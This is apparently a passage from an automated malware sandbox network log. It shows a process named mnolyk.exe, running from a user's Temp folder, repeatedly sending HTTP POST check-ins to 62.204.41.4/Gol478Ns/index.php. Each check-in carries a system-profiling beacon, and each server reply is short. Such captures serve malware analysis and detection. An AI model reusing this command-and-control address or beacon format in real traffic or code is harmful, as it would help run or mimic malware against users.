Feb 6, 2023 18:36:10.066962004 CET	483	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
510	192.168.2.7	50238	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:16.299287081 CET	970	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:16.364350080 CET	970	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
511	192.168.2.7	50239	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:16.554900885 CET	971	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:16.617705107 CET	971	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
512	192.168.2.7	50240	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:16.797444105 CET	972	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:16.862142086 CET	972	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
513	192.168.2.7	50241	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:17.040111065 CET	973	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:17.107961893 CET	973	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
514	192.168.2.7	50242	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:17.282352924 CET	974	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:17.346925020 CET	974	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
515	192.168.2.7	50243	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:17.517771959 CET	975	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:17.582851887 CET	975	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
516	192.168.2.7	50244	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:17.760139942 CET	976	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:17.822911024 CET	976	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
517	192.168.2.7	50245	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:18.033799887 CET	977	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:18.099890947 CET	977	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
518	192.168.2.7	50246	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:18.266166925 CET	978	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:18.329782963 CET	978	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
519	192.168.2.7	50247	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:18.501382113 CET	979	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:18.565172911 CET	979	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.7	49776	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:10.243724108 CET	484	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:10.306922913 CET	484	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
520	192.168.2.7	50248	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:18.734487057 CET	980	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:18.797333956 CET	980	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
521	192.168.2.7	50249	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:18.972465992 CET	981	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:19.037753105 CET	981	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
522	192.168.2.7	50250	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:19.214720964 CET	982	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:19.280652046 CET	982	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
523	192.168.2.7	50251	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:19.454937935 CET	983	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:19.519831896 CET	983	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
524	192.168.2.7	50252	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:19.689918995 CET	984	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:19.752756119 CET	984	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
525	192.168.2.7	50253	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:19.923434973 CET	985	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:19.989942074 CET	985	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
526	192.168.2.7	50254	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:20.179239988 CET	986	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:20.245098114 CET	986	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
527	192.168.2.7	50255	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:20.425504923 CET	987	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:20.489131927 CET	987	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
528	192.168.2.7	50256	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:20.656894922 CET	988	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:20.720566988 CET	988	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
529	192.168.2.7	50257	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:20.892807961 CET	989	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:20.958321095 CET	989	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.7	49777	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
